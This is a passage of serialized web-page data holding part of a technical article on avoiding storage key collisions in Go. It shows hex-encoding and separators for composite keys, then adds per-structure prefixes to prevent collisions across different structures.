Address",{"type":20,"tag":315,"props":84445,"children":84446},{"style":541},[84447],{"type":26,"value":19555},{"type":20,"tag":315,"props":84449,"children":84450},{"style":328},[84451],{"type":26,"value":1092},{"type":20,"tag":315,"props":84453,"children":84454},{"class":317,"line":521},[84455,84459,84463],{"type":20,"tag":315,"props":84456,"children":84457},{"style":635},[84458],{"type":26,"value":13505},{"type":20,"tag":315,"props":84460,"children":84461},{"style":328},[84462],{"type":26,"value":74485},{"type":20,"tag":315,"props":84464,"children":84465},{"style":322},[84466],{"type":26,"value":82486},{"type":20,"tag":315,"props":84468,"children":84469},{"class":317,"line":552},[84470],{"type":20,"tag":315,"props":84471,"children":84472},{"style":328},[84473],{"type":26,"value":577},{"type":20,"tag":315,"props":84475,"children":84476},{"class":317,"line":571},[84477,84481,84486],{"type":20,"tag":315,"props":84478,"children":84479},{"style":541},[84480],{"type":26,"value":31170},{"type":20,"tag":315,"props":84482,"children":84483},{"style":322},[84484],{"type":26,"value":84485}," AddressMap",{"type":20,"tag":315,"props":84487,"children":84488},{"style":334},[84489],{"type":26,"value":83376},{"type":20,"tag":315,"props":84491,"children":84492},{"class":317,"line":2031},[84493,84497,84501,84505,84509,84513,84517,84521,84525,84529,84533,84538,84542],{"type":20,"tag":315,"props":84494,"children":84495},{"style":541},[84496],{"type":26,"value":83384},{"type":20,"tag":315,"props":84498,"children":84499},{"style":328},[84500],{"type":26,"value":2117},{"type":20,"tag":315,"props":84502,"children":84503},{"style":322},[84504],{"type":26,"value":83393},{"type":20,"tag":315,"props":84506,"children":84507},{"style":328},[84508],{"type":26,"value":13812},{"type":20,"tag":315,"props":84510,"children":84511},{"style":541},[84512],{"type":26,"value":65357},{"type":20,"tag":315,"props":84514,"children":84515},{"style":328},[84516],{"type":26,"value":2117},{"type":20,"tag":315,"props":84518,"children":84519},{"style":322},[84520],{"type":26,"value":83410},{"type":20,"tag":315,"props":84522,"children":84523},{"style":328},[84524],{"type":26,"value":13812},{"type":20,"tag":315,"props":84526,"children":84527},{"style":541},[84528],{"type":26,"value":65357},{"type":20,"tag":315,"props":84530,"children":84531},{"style":328},[84532],{"type":26,"value":2117},{"type":20,"tag":315,"props":84534,"children":84535},{"style":322},[84536],{"type":26,"value":84537},"AddressName",{"type":20,"tag":315,"props":84539,"children":84540},{"style":328},[84541],{"type":26,"value":13812},{"type":20,"tag":315,"props":84543,"children":84544},{"style":322},[84545],{"type":26,"value":84546},"Address\n",{"type":20,"tag":29,"props":84548,"children":84549},{},[84550],{"type":26,"value":84551},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":20,"tag":305,"props":84553,"children":84555},{"code":84554,"language":74422,"meta":7,"className":74423,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[84556],{"type":20,"tag":119,"props":84557,"children":84558},{"__ignoreMap":7},[84559,84570,84585,84592,84599,84606,84622,84637,84664,84687,84706,84722,84758,84765,84800,84807,84827,84842,84877,84884,84919,84926,84954,84966,84978,84990,85002,85013,85025,85032,85039,85046,85053,85069,85084,85108,85131,85150,85165,85200,85207,85242,85249,85269,85284,85319,85326,85362,85369,85396,85407,85418,85429,85440,85451,85463,85470],{"type":20,"tag":315,"props":84560,"children":84561},{"class":317,"line":318},[84562,84566],{"type":20,"tag":315,"props":84563,"children":84564},{"style":541},[84565],{"type":26,"value":8054},{"type":20,"tag":315,"props":84567,"children":84568},{"style":328},[84569],{"type":26,"value":76824},{"type":20,"tag":315,"props":84571,"children":84572},{"class":317,"line":356},[84573,84577,84581],{"type":20,"tag":315,"props":84574,"children":84575},{"style":635},[84576],{"type":26,"value":83589},{"type":20,"tag":315,"props":84578,"children":84579},{"style":334},[84580],{"type":26,"value":1395},{"type":20,"tag":315,"props":84582,"children":84583},{"style":2652},[84584],{"type":26,"value":83598},{"type":20,"tag":315,"props":84586,"children":84587},{"class":317,"line":365},[84588],{"type":20,"tag":315,"props":84589,"children":84590},{"style":328},[84591],{"type":26,"value":380},{"type":20,"tag":315,"props":84593,"children":84594},{"class":317,"line":374},[84595],{"type":20,"tag":315,"props":84596,"children":84597},{"emptyLinePlaceholder":15},[84598],{"type":26,"value":427},{"type":20,"tag":315,"props":84600,"children":84601},{"class":317,"line":383},[84602],{"type":20,"tag":315,"props":84603,"children":84604},{"emptyLinePlaceholder":15},[84605],{"type":26,"value":427},{"type":20,"tag":315,"props":84607,"children":84608},{"class":317,"line":407},[84609,84613,84618],{"type":20,"tag":315,"props":84610,"children":84611},{"style":541},[84612],{"type":26,"value":74558},{"type":20,"tag":315,"props":84614,"children":84615},{"style":345},[84616],{"type":26,"value":84617}," PositionMapKey",{"type":20,"tag":315,"props":84619,"children":84620},{"style":328},[84621],{"type":26,"value":353},{"type":20,"tag":315,"props":84623,"children":84624},{"class":317,"line":421},[84625,84629,84633],{"type":20,"tag":315,"props":84626,"children":84627},{"style":635},[84628],{"type":26,"value":83505},{"type":20,"tag":315,"props":84630,"children":84631},{"style":322},[84632],{"type":26,"value":74679},{"type":20,"tag":315,"props":84634,"children":84635},{"style":328},[84636],{"type":26,"value":643},{"type":20,"tag":315,"props":84638,"children":84639},{"class":317,"line":430},[84640,84644,84648,84652,84656,84660],{"type":20,"tag":315,"props":84641,"children":84642},{"style":635},[84643],{"type":26,"value":83517},{"type":20,"tag":315,"props":84645,"children":84646},{"style":328},[84647],{"type":26,"value":44},{"type":20,"tag":315,"props":84649,"children":84650},{"style":635},[84651],{"type":26,"value":83998},{"type":20,"tag":315,"props":84653,"children":84654},{"style":328},[84655],{"type":26,"value":74485},{"type":20,"tag":315,"props":84657,"children":84658},{"style":322},[84659],{"type":26,"value":83023},{"type":20,"tag":315,"props":84661,"children":84662},{"style":328},[84663],{"type":26,"value":643},{"type":20,"tag":315,"props":84665,"children":84666},{"class":317,"line":453},[84667,84671,84675,84679,84683],{"type":20,"tag":315,"props":84668,"children":84669},{"style":328},[84670],{"type":26,"value":74640},{"type":20,"tag":315,"props":84672,"children":84673},{"style":635},[84674],{"type":26,"value":70412},{"type":20,"tag":315,"props":84676,"children":84677},{"style":328},[84678],{"type":26,"value":74485},{"type":20,"tag":315,"props":84680,"children":84681},{"style":322},[84682],{"type":26,"value":83023},{"type":20,"tag":315,"props":84684,"children":84685},{"style":328},[84686],{"type":26,"value":549},{"type":20,"tag":315,"props":84688,"children":84689},{"class":317,"line":486},[84690,84694,84698,84702],{"type":20,"tag":315,"props":84691,"children":84692},{"style":635},[84693],{"type":26,"value":84119},{"type":20,"tag":315,"props":84695,"children":84696},{"style":334},[84697],{"type":26,"value":74674},{"type":20,"tag":315,"props":84699,"children":84700},{"style":345},[84701],{"type":26,"value":83822},{"type":20,"tag":315,"props":84703,"children":84704},{"style":328},[84705],{"type":26,"value":353},{"type":20,"tag":315,"props":84707,"children":84708},{"class":317,"line":499},[84709,84714,84718],{"type":20,"tag":315,"props":84710,"children":84711},{"style":328},[84712],{"type":26,"value":84713}," []",{"type":20,"tag":315,"props":84715,"children":84716},{"style":322},[84717],{"type":26,"value":83023},{"type":20,"tag":315,"props":84719,"children":84720},{"style":328},[84721],{"type":26,"value":643},{"type":20,"tag":315,"props":84723,"children":84724},{"class":317,"line":513},[84725,84730,84734,84738,84742,84746,84750,84754],{"type":20,"tag":315,"props":84726,"children":84727},{"style":635},[84728],{"type":26,"value":84729}," hex",{"type":20,"tag":315,"props":84731,"children":84732},{"style":328},[84733],{"type":26,"value":61},{"type":20,"tag":315,"props":84735,"children":84736},{"style":345},[84737],{"type":26,"value":83859},{"type":20,"tag":315,"props":84739,"children":84740},{"style":328},[84741],{"type":26,"value":1049},{"type":20,"tag":315,"props":84743,"children":84744},{"style":345},[84745],{"type":26,"value":7537},{"type":20,"tag":315,"props":84747,"children":84748},{"style":328},[84749],{"type":26,"value":1049},{"type":20,"tag":315,"props":84751,"children":84752},{"style":635},[84753],{"type":26,"value":83729},{"type":20,"tag":315,"props":84755,"children":84756},{"style":328},[84757],{"type":26,"value":83880},{"type":20,"tag":315,"props":84759,"children":84760},{"class":317,"line":521},[84761],{"type":20,"tag":315,"props":84762,"children":84763},{"style":328},[84764],{"type":26,"value":22335},{"type":20,"tag":315,"props":84766,"children":84767},{"class":317,"line":552},[84768,84772,84776,84780,84784,84788,84792,84796],{"type":20,"tag":315,"props":84769,"children":84770},{"style":635},[84771],{"type":26,"value":83850},{"type":20,"tag":315,"props":84773,"children":84774},{"style":328},[84775],{"type":26,"value":61},{"type":20,"tag":315,"props":84777,"children":84778},{"style":345},[84779],{"type":26,"value":83904},{"type":20,"tag":315,"props":84781,"children":84782},{"style":328},[84783],{"type":26,"value":1049},{"type":20,"tag":315,"props":84785,"children":84786},{"style":635},[84787],{"type":26,"value":83813},{"type":20,"tag":315,"props":84789,"children":84790},{"style":328},[84791],{"type":26,"value":44},{"type":20,"tag":315,"props":84793,"children":84794},{"style":635},[84795],{"type":26,"value":83729},{"type":20,"tag":315,"props":84797,"children":84798},{"style":328},[84799],{"type":26,"value":380},{"type":20,"tag":315,"props":84801,"children":84802},{"class":317,"line":571},[84803],{"type":20,"tag":315,"props":84804,"children":84805},{"emptyLinePlaceholder":15},[84806],{"type":26,"value":427},{"type":20,"tag":315,"props":84808,"children":84809},{"class":317,"line":2031},[84810,84815,84819,84823],{"type":20,"tag":315,"props":84811,"children":84812},{"style":635},[84813],{"type":26,"value":84814}," positionNameEncoded",{"type":20,"tag":315,"props":84816,"children":84817},{"style":334},[84818],{"type":26,"value":74674},{"type":20,"tag":315,"props":84820,"children":84821},{"style":345},[84822],{"type":26,"value":83822},{"type":20,"tag":315,"props":84824,"children":84825},{"style":328},[84826],{"type":26,"value":353},{"type":20,"tag":315,"props":84828,"children":84829},{"class":317,"line":2053},[84830,84834,84838],{"type":20,"tag":315,"props":84831,"children":84832},{"style":328},[84833],{"type":26,"value":84713},{"type":20,"tag":315,"props":84835,"children":84836},{"style":322},[84837],{"type":26,"value":83023},{"type":20,"tag":315,"props":84839,"children":84840},{"style":328},[84841],{"type":26,"value":643},{"type":20,"tag":315,"props":84843,"children":84844},{"class":317,"line":2061},[84845,84849,84853,84857,84861,84865,84869,84873],{"type":20,"tag":315,"props":84846,"children":84847},{"style":635},[84848],{"type":26,"value":84729},{"type":20,"tag":315,"props":84850,"children":84851},{"style":328},[84852],{"type":26,"value":61},{"type":20,"tag":315,"props":84854,"children":84855},{"style":345},[84856],{"type":26,"value":83859},{"type":20,"tag":315,"props":84858,"children":84859},{"style":328},[84860],{"type":26,"value":1049},{"type":20,"tag":315,"props":84862,"children":84863},{"style":345},[84864],{"type":26,"value":7537},{"type":20,"tag":315,"props":84866,"children":84867},{"style":328},[84868],{"type":26,"value":1049},{"type":20,"tag":315,"props":84870,"children":84871},{"style":635},[84872],{"type":26,"value":83998},{"type":20,"tag":315,"props":84874,"children":84875},{"style":328},[84876],{"type":26,"value":83880},{"type":20,"tag":315,"props":84878,"children":84879},{"class":317,"line":2070},[84880],{"type":20,"tag":315,"props":84881,"children":84882},{"style":328},[84883],{"type":26,"value":22335},{"type":20,"tag":315,"props":84885,"children":84886},{"class":317,"line":2139},[84887,84891,84895,84899,84903,84907,84911,84915],{"type":20,"tag":315,"props":84888,"children":84889},{"style":635},[84890],{"type":26,"value":83850},{"type":20,"tag":315,"props":84892,"children":84893},{"style":328},[84894],{"type":26,"value":61},{"type":20,"tag":315,"props":84896,"children":84897},{"style":345},[84898],{"type":26,"value":83904},{"type":20,"tag":315,"props":84900,"children":84901},{"style":328},[84902],{"type":26,"value":1049},{"type":20,"tag":315,"props":84904,"children":84905},{"style":635},[84906],{"type":26,"value":83939},{"type":20,"tag":315,"props":84908,"children":84909},{"style":328},[84910],{"type":26,"value":44},{"type":20,"tag":315,"props":84912,"children":84913},{"style":635},[84914],{"type":26,"value":83998},{"type":20,"tag":315,"props":84916,"children":84917},{"style":328},[84918],{"type":26,"value":380},{"type":20,"tag":315,"props":84920,"children":84921},{"class":317,"line":2147},[84922],{"type":20,"tag":315,"props":84923,"children":84924},{"emptyLinePlaceholder":15},[84925],{"type":26,"value":427},{"type":20,"tag":315,"props":84927,"children":84928},{"class":317,"line":2177},[84929,84934,84938,84942,84946,84950],{"type":20,"tag":315,"props":84930,"children":84931},{"style":635},[84932],{"type":26,"value":84933}," key",{"type":20,"tag":315,"props":84935,"children":84936},{"style":334},[84937],{"type":26,"value":74674},{"type":20,"tag":315,"props":84939,"children":84940},{"style":635},[84941],{"type":26,"value":80492},{"type":20,"tag":315,"props":84943,"children":84944},{"style":328},[84945],{"type":26,"value":61},{"type":20,"tag":315,"props":84947,"children":84948},{"style":345},[84949],{"type":26,"value":83481},{"type":20,"tag":315,"props":84951,"children":84952},{"style":328},[84953],{"type":26,"value":353},{"type":20,"tag":315,"props":84955,"children":84956},{"class":317,"line":2185},[84957,84962],{"type":20,"tag":315,"props":84958,"children":84959},{"style":2652},[84960],{"type":26,"value":84961}," \"%d%s%s%s%s\"",{"type":20,"tag":315,"props":84963,"children":84964},{"style":328},[84965],{"type":26,"value":643},{"type":20,"tag":315,"props":84967,"children":84968},{"class":317,"line":2217},[84969,84974],{"type":20,"tag":315,"props":84970,"children":84971},{"style":635},[84972],{"type":26,"value":84973}," vaultId",{"type":20,"tag":315,"props":84975,"children":84976},{"style":328},[84977],{"type":26,"value":643},{"type":20,"tag":315,"props":84979,"children":84980},{"class":317,"line":2225},[84981,84986],{"type":20,"tag":315,"props":84982,"children":84983},{"style":635},[84984],{"type":26,"value":84985}," Seperator",{"type":20,"tag":315,"props":84987,"children":84988},{"style":328},[84989],{"type":26,"value":643},{"type":20,"tag":315,"props":84991,"children":84992},{"class":317,"line":2285},[84993,84998],{"type":20,"tag":315,"props":84994,"children":84995},{"style":635},[84996],{"type":26,"value":84997}," usernameEncoded",{"type":20,"tag":315,"props":84999,"children":85000},{"style":328},[85001],{"type":26,"value":643},{"type":20,"tag":315,"props":85003,"children":85004},{"class":317,"line":7444},[85005,85009],{"type":20,"tag":315,"props":85006,"children":85007},{"style":635},[85008],{"type":26,"value":84985},{"type":20,"tag":315,"props":85010,"children":85011},{"style":328},[85012],{"type":26,"value":643},{"type":20,"tag":315,"props":85014,"children":85015},{"class":317,"line":7462},[85016,85021],{"type":20,"tag":315,"props":85017,"children":85018},{"style":635},[85019],{"type":26,"value":85020}," positionNameEncoded",{"type":20,"tag":315,"props":85022,"children":85023},{"style":328},[85024],{"type":26,"value":643},{"type":20,"tag":315,"props":85026,"children":85027},{"class":317,"line":7507},[85028],{"type":20,"tag":315,"props":85029,"children":85030},{"style":328},[85031],{"type":26,"value":22335},{"type":20,"tag":315,"props":85033,"children":85034},{"class":317,"line":7613},[85035],{"type":20,"tag":315,"props":85036,"children":85037},{"style":328},[85038],{"type":26,"value":577},{"type":20,"tag":315,"props":85040,"children":85041},{"class":317,"line":21914},[85042],{"type":20,"tag":315,"props":85043,"children":85044},{"emptyLinePlaceholder":15},[85045],{"type":26,"value":427},{"type":20,"tag":315,"props":85047,"children":85048},{"class":317,"line":21949},[85049],{"type":20,"tag":315,"props":85050,"children":85051},{"emptyLinePlaceholder":15},[85052],{"type":26,"value":427},{"type":20,"tag":315,"props":85054,"children":85055},{"class":317,"line":21957},[85056,85060,85065],{"type":20,"tag":315,"props":85057,"children":85058},{"style":541},[85059],{"type":26,"value":74558},{"type":20,"tag":315,"props":85061,"children":85062},{"style":345},[85063],{"type":26,"value":85064}," AddressMapKey",{"type":20,"tag":315,"props":85066,"children":85067},{"style":328},[85068],{"type":26,"value":353},{"type":20,"tag":315,"props":85070,"children":85071},{"class":317,"line":21965},[85072,85076,85080],{"type":20,"tag":315,"props":85073,"children":85074},{"style":635},[85075],{"type":26,"value":83505},{"type":20,"tag":315,"props":85077,"children":85078},{"style":322},[85079],{"type":26,"value":74679},{"type":20,"tag":315,"props":85081,"children":85082},{"style":328},[85083],{"type":26,"value":643},{"type":20,"tag":315,"props":85085,"children":85086},{"class":317,"line":21974},[85087,85091,85095,85100,85104],{"type":20,"tag":315,"props":85088,"children":85089},{"style":635},[85090],{"type":26,"value":83517},{"type":20,"tag":315,"props":85092,"children":85093},{"style":328},[85094],{"type":26,"value":44},{"type":20,"tag":315,"props":85096,"children":85097},{"style":635},[85098],{"type":26,"value":85099},"addressName",{"type":20,"tag":315,"props":85101,"children":85102},{"style":328},[85103],{"type":26,"value":74485},{"type":20,"tag":315,"props":85105,"children":85106},{"style":322},[85107],{"type":26,"value":82486},{"type":20,"tag":315,"props":85109,"children":85110},{"class":317,"line":22016},[85111,85115,85119,85123,85127],{"type":20,"tag":315,"props":85112,"children":85113},{"style":328},[85114],{"type":26,"value":74640},{"type":20,"tag":315,"props":85116,"children":85117},{"style":635},[85118],{"type":26,"value":70412},{"type":20,"tag":315,"props":85120,"children":85121},{"style":328},[85122],{"type":26,"value":74485},{"type":20,"tag":315,"props":85124,"children":85125},{"style":322},[85126],{"type":26,"value":83023},{"type":20,"tag":315,"props":85128,"children":85129},{"style":328},[85130],{"type":26,"value":549},{"type":20,"tag":315,"props":85132,"children":85133},{"class":317,"line":22049},[85134,85138,85142,85146],{"type":20,"tag":315,"props":85135,"children":85136},{"style":635},[85137],{"type":26,"value":84119},{"type":20,"tag":315,"props":85139,"children":85140},{"style":334},[85141],{"type":26,"value":74674},{"type":20,"tag":315,"props":85143,"children":85144},{"style":345},[85145],{"type":26,"value":83822},{"type":20,"tag":315,"props":85147,"children":85148},{"style":328},[85149],{"type":26,"value":353},{"type":20,"tag":315,"props":85151,"children":85152},{"class":317,"line":22057},[85153,85157,85161],{"type":20,"tag":315,"props":85154,"children":85155},{"style":328},[85156],{"type":26,"value":84713},{"type":20,"tag":315,"props":85158,"children":85159},{"style":322},[85160],{"type":26,"value":83023},{"type":20,"tag":315,"props":85162,"children":85163},{"style":328},[85164],{"type":26,"value":643},{"type":20,"tag":315,"props":85166,"children":85167},{"class":317,"line":22065},[85168,85172,85176,85180,85184,85188,85192,85196],{"type":20,"tag":315,"props":85169,"children":85170},{"style":635},[85171],{"type":26,"value":84729},{"type":20,"tag":315,"props":85173,"children":85174},{"style":328},[85175],{"type":26,"value":61},{"type":20,"tag":315,"props":85177,"children":85178},{"style":345},[85179],{"type":26,"value":83859},{"type":20,"tag":315,"props":85181,"children":85182},{"style":328},[85183],{"type":26,"value":1049},{"type":20,"tag":315,"props":85185,"children":85186},{"style":345},[85187],{"type":26,"value":7537},{"type":20,"tag":315,"props":85189,"children":85190},{"style":328},[85191],{"type":26,"value":1049},{"type":20,"tag":315,"props":85193,"children":85194},{"style":635},[85195],{"type":26,"value":83729},{"type":20,"tag":315,"props":85197,"children":85198},{"style":328},[85199],{"type":26,"value":83880},{"type":20,"tag":315,"props":85201,"children":85202},{"class":317,"line":22074},[85203],{"type":20,"tag":315,"props":85204,"children":85205},{"style":328},[85206],{"type":26,"value":22335},{"type":20,"tag":315,"props":85208,"children":85209},{"class":317,"line":22150},[85210,85214,85218,85222,85226,85230,85234,85238],{"type":20,"tag":315,"props":85211,"children":85212},{"style":635},[85213],{"type":26,"value":83850},{"type":20,"tag":315,"props":85215,"children":85216},{"style":328},[85217],{"type":26,"value":61},{"type":20,"tag":315,"props":85219,"children":85220},{"style":345},[85221],{"type":26,"value":83904},{"type":20,"tag":315,"props":85223,"children":85224},{"style":328},[85225],{"type":26,"value":1049},{"type":20,"tag":315,"props":85227,"children":85228},{"style":635},[85229],{"type":26,"value":83813},{"type":20,"tag":315,"props":85231,"children":85232},{"style":328},[85233],{"type":26,"value":44},{"type":20,"tag":315,"props":85235,"children":85236},{"style":635},[85237],{"type":26,"value":83729},{"type":20,"tag":315,"props":85239,"children":85240},{"style":328},[85241],{"type":26,"value":380},{"type":20,"tag":315,"props":85243,"children":85244},{"class":317,"line":22183},[85245],{"type":20,"tag":315,"props":85246,"children":85247},{"emptyLinePlaceholder":15},[85248],{"type":26,"value":427},{"type":20,"tag":315,"props":85250,"children":85251},{"class":317,"line":22191},[85252,85257,85261,85265],{"type":20,"tag":315,"props":85253,"children":85254},{"style":635},[85255],{"type":26,"value":85256}," addressNameEncoded",{"type":20,"tag":315,"props":85258,"children":85259},{"style":334},[85260],{"type":26,"value":74674},{"type":20,"tag":315,"props":85262,"children":85263},{"style":345},[85264],{"type":26,"value":83822},{"type":20,"tag":315,"props":85266,"children":85267},{"style":328},[85268],{"type":26,"value":353},{"type":20,"tag":315,"props":85270,"children":85271},{"class":317,"line":22199},[85272,85276,85280],{"type":20,"tag":315,"props":85273,"children":85274},{"style":328},[85275],{"type":26,"value":84713},{"type":20,"tag":315,"props":85277,"children":85278},{"style":322},[85279],{"type":26,"value":83023},{"type":20,"tag":315,"props":85281,"children":85282},{"style":328},[85283],{"type":26,"value":643},{"type":20,"tag":315,"props":85285,"children":85286},{"class":317,"line":22236},[85287,85291,85295,85299,85303,85307,85311,85315],{"type":20,"tag":315,"props":85288,"children":85289},{"style":635},[85290],{"type":26,"value":84729},{"type":20,"tag":315,"props":85292,"children":85293},{"style":328},[85294],{"type":26,"value":61},{"type":20,"tag":315,"props":85296,"children":85297},{"style":345},[85298],{"type":26,"value":83859},{"type":20,"tag":315,"props":85300,"children":85301},{"style":328},[85302],{"type":26,"value":1049},{"type":20,"tag":315,"props":85304,"children":85305},{"style":345},[85306],{"type":26,"value":7537},{"type":20,"tag":315,"props":85308,"children":85309},{"style":328},[85310],{"type":26,"value":1049},{"type":20,"tag":315,"props":85312,"children":85313},{"style":635},[85314],{"type":26,"value":85099},{"type":20,"tag":315,"props":85316,"children":85317},{"style":328},[85318],{"type":26,"value":83880},{"type":20,"tag":315,"props":85320,"children":85321},{"class":317,"line":22249},[85322],{"type":20,"tag":315,"props":85323,"children":85324},{"style":328},[85325],{"type":26,"value":22335},{"type":20,"tag":315,"props":85327,"children":85328},{"class":317,"line":22262},[85329,85333,85337,85341,85345,85350,85354,85358],{"type":20,"tag":315,"props":85330,"children":85331},{"style":635},[85332],{"type":26,"value":83850},{"type":20,"tag":315,"props":85334,"children":85335},{"style":328},[85336],{"type":26,"value":61},{"type":20,"tag":315,"props":85338,"children":85339},{"style":345},[85340],{"type":26,"value":83904},{"type":20,"tag":315,"props":85342,"children":85343},{"style":328},[85344],{"type":26,"value":1049},{"type":20,"tag":315,"props":85346,"children":85347},{"style":635},[85348],{"type":26,"value":85349},"addressNameEncoded",{"type":20,"tag":315,"props":85351,"children":85352},{"style":328},[85353],{"type":26,"value":44},{"type":20,"tag":315,"props":85355,"children":85356},{"style":635},[85357],{"type":26,"value":85099},{"type":20,"tag":315,"props":85359,"children":85360},{"style":328},[85361],{"type":26,"value":380},{"type":20,"tag":315,"props":85363,"children":85364},{"class":317,"line":22275},[85365],{"type":20,"tag":315,"props":85366,"children":85367},{"emptyLinePlaceholder":15},[85368],{"type":26,"value":427},{"type":20,"tag":315,"props":85370,"children":85371},{"class":317,"line":22329},[85372,85376,85380,85384,85388,85392],{"type":20,"tag":315,"props":85373,"children":85374},{"style":635},[85375],{"type":26,"value":84933},{"type":20,"tag":315,"props":85377,"children":85378},{"style":334},[85379],{"type":26,"value":74674},{"type":20,"tag":315,"props":85381,"children":85382},{"style":635},[85383],{"type":26,"value":80492},{"type":20,"tag":315,"props":85385,"children":85386},{"style":328},[85387],{"type":26,"value":61},{"type":20,"tag":315,"props":85389,"children":85390},{"style":345},[85391],{"type":26,"value":83481},{"type":20,"tag":315,"props":85393,"children":85394},{"style":328},[85395],{"type":26,"value":353},{"type":20,"tag":315,"props":85397,"children":85398},{"class":317,"line":22338},[85399,85403],{"type":20,"tag":315,"props":85400,"children":85401},{"style":2652},[85402],{"type":26,"value":84961},{"type":20,"tag":315,"props":85404,"children":85405},{"style":328},[85406],{"type":26,"value":643},{"type":20,"tag":315,"props":85408,"children":85409},{"class":317,"line":30696},[85410,85414],{"type":20,"tag":315,"props":85411,"children":85412},{"style":635},[85413],{"type":26,"value":84973},{"type":20,"tag":315,"props":85415,"children":85416},{"style":328},[85417],{"type":26,"value":643},{"type":20,"tag":315,"props":85419,"children":85420},{"class":317,"line":30717},[85421,85425],{"type":20,"tag":315,"props":85422,"children":85423},{"style":635},[85424],{"type":26,"value":84985},{"type":20,"tag":315,"props":85426,"children":85427},{"style":328},[85428],{"type":26,"value":643},{"type":20,"tag":315,"props":85430,"children":85431},{"class":317,"line":79209},[85432,85436],{"type":20,"tag":315,"props":85433,"children":85434},{"style":635},[85435],{"type":26,"value":84997},{"type":20,"tag":315,"props":85437,"children":85438},{"style":328},[85439],{"type":26,"value":643},{"type":20,"tag":315,"props":85441,"children":85442},{"class":317,"line":79222},[85443,85447],{"type":20,"tag":315,"props":85444,"children":85445},{"style":635},[85446],{"type":26,"value":84985},{"type":20,"tag":315,"props":85448,"children":85449},{"style":328},[85450],{"type":26,"value":643},{"type":20,"tag":315,"props":85452,"children":85453},{"class":317,"line":79230},[85454,85459],{"type":20,"tag":315,"props":85455,"children":85456},{"style":635},[85457],{"type":26,"value":85458}," addressNameEncoded",{"type":20,"tag":315,"props":85460,"children":85461},{"style":328},[85462],{"type":26,"value":643},{"type":20,"tag":315,"props":85464,"children":85465},{"class":317,"line":79238},[85466],{"type":20,"tag":315,"props":85467,"children":85468},{"style":328},[85469],{"type":26,"value":22335},{"type":20,"tag":315,"props":85471,"children":85472},{"class":317,"line":79246},[85473],{"type":20,"tag":315,"props":85474,"children":85475},{"style":328},[85476],{"type":26,"value":577},{"type":20,"tag":29,"props":85478,"children":85479},{},[85480,85482,85487],{"type":26,"value":85481},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":20,"tag":119,"props":85483,"children":85485},{"className":85484},[],[85486],{"type":26,"value":83235},{"type":26,"value":85488},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":20,"tag":305,"props":85490,"children":85492},{"code":85491},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[85493],{"type":20,"tag":119,"props":85494,"children":85495},{"__ignoreMap":7},[85496],{"type":26,"value":85491},{"type":20,"tag":29,"props":85498,"children":85499},{},[85500],{"type":26,"value":85501},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":20,"tag":305,"props":85503,"children":85505},{"code":85504,"language":74422,"meta":7,"className":74423,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[85506],{"type":20,"tag":119,"props":85507,"children":85508},{"__ignoreMap":7},[85509,85520,85535,85562,85587,85594,85601,85608,85623,85638,85665,85688,85707,85722,85757,85764,85799,85806,85825,85840,85875,85882,85917,85924,85951,85963,85975,85986,85997,86008,86019,86030,86037,86044,86051,86058,86073,86088,86115,86138,86157,86172,86207,86214,86249,86256,86275,86290,86325,86332,86367,86374,86401,86412,86424,86435,86446,86457,86468,86479,86487],{"type":20,"tag":315,"props":85510,"children":85511},{"class":317,"line":318},[85512,85516],{"type":20,"tag":315,"props":85513,"children":85514},{"style":541},[85515],{"type":26,"value":8054},{"type":20,"tag":315,"props":85517,"children":85518},{"style":328},[85519],{"type":26,"value":76824},{"type":20,"tag":315,"props":85521,"children":85522},{"class":317,"line":356},[85523,85527,85531],{"type":20,"tag":315,"props":85524,"children":85525},{"style":635},[85526],{"type":26,"value":83589},{"type":20,"tag":315,"props":85528,"children":85529},{"style":334},[85530],{"type":26,"value":1395},{"type":20,"tag":315,"props":85532,"children":85533},{"style":2652},[85534],{"type":26,"value":83598},{"type":20,"tag":315,"props":85536,"children":85537},{"class":317,